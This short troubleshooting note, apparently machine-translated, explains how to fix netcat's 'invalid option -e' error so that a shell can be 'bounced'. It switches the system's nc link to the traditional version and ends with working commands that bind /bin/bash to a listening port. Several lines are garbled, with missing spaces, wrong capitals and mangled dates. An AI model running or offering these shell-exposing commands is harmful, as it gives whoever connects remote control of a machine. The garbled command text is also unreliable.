An error occurred while NC bounced the shell
Nc:invalid option-' e '
This is NC from the NETCAT-OPENBSD package. An alternative NC is available
In the Netcat-traditional package.
Here is the idea of repair
$ which NC
/bin/nc
$ ls-ld/bin/nc
lrwxrwxrwx 1 root root 20 October 2012/bin/nc->/ETC/ALTERNATIVES/NC
$ ls-ld/etc/alternatives/nc
lrwxrwxrwx 1 root 19 February 10:03/etc/alternatives/nc->/bin/nc.traditional
Actually, this is a file we're looking for./bin/nc.traditional:
$/bin/nc.openbsd-l-P 9999-E/bin/bash
/bin/nc.openbsd:invalid option--' e '
USAGE:NC [ -46DDHKLNRSTUUVZC] [-I interval] [-P proxy_username] [P-Source_port]
[-S source_ip_address] [t ToS] [-w timeout] [-X Proxy_protocol]
[-X proxy_address[:p ORT]] [hostname] [Port[s]]
$/bin/nc.traditional-l-P 9999-E/bin/bash
^c
$
Combined with the above output message, we can fix it by following this command:
$ sudo rm/etc/alternatives/nc && sudo ln-s/bin/nc.traditional/etc/alternatives/nc
Repair and try again, no error prompted the shell bounce success!
$ nc-l 192.168.2.180-p 12345-e/bin/bash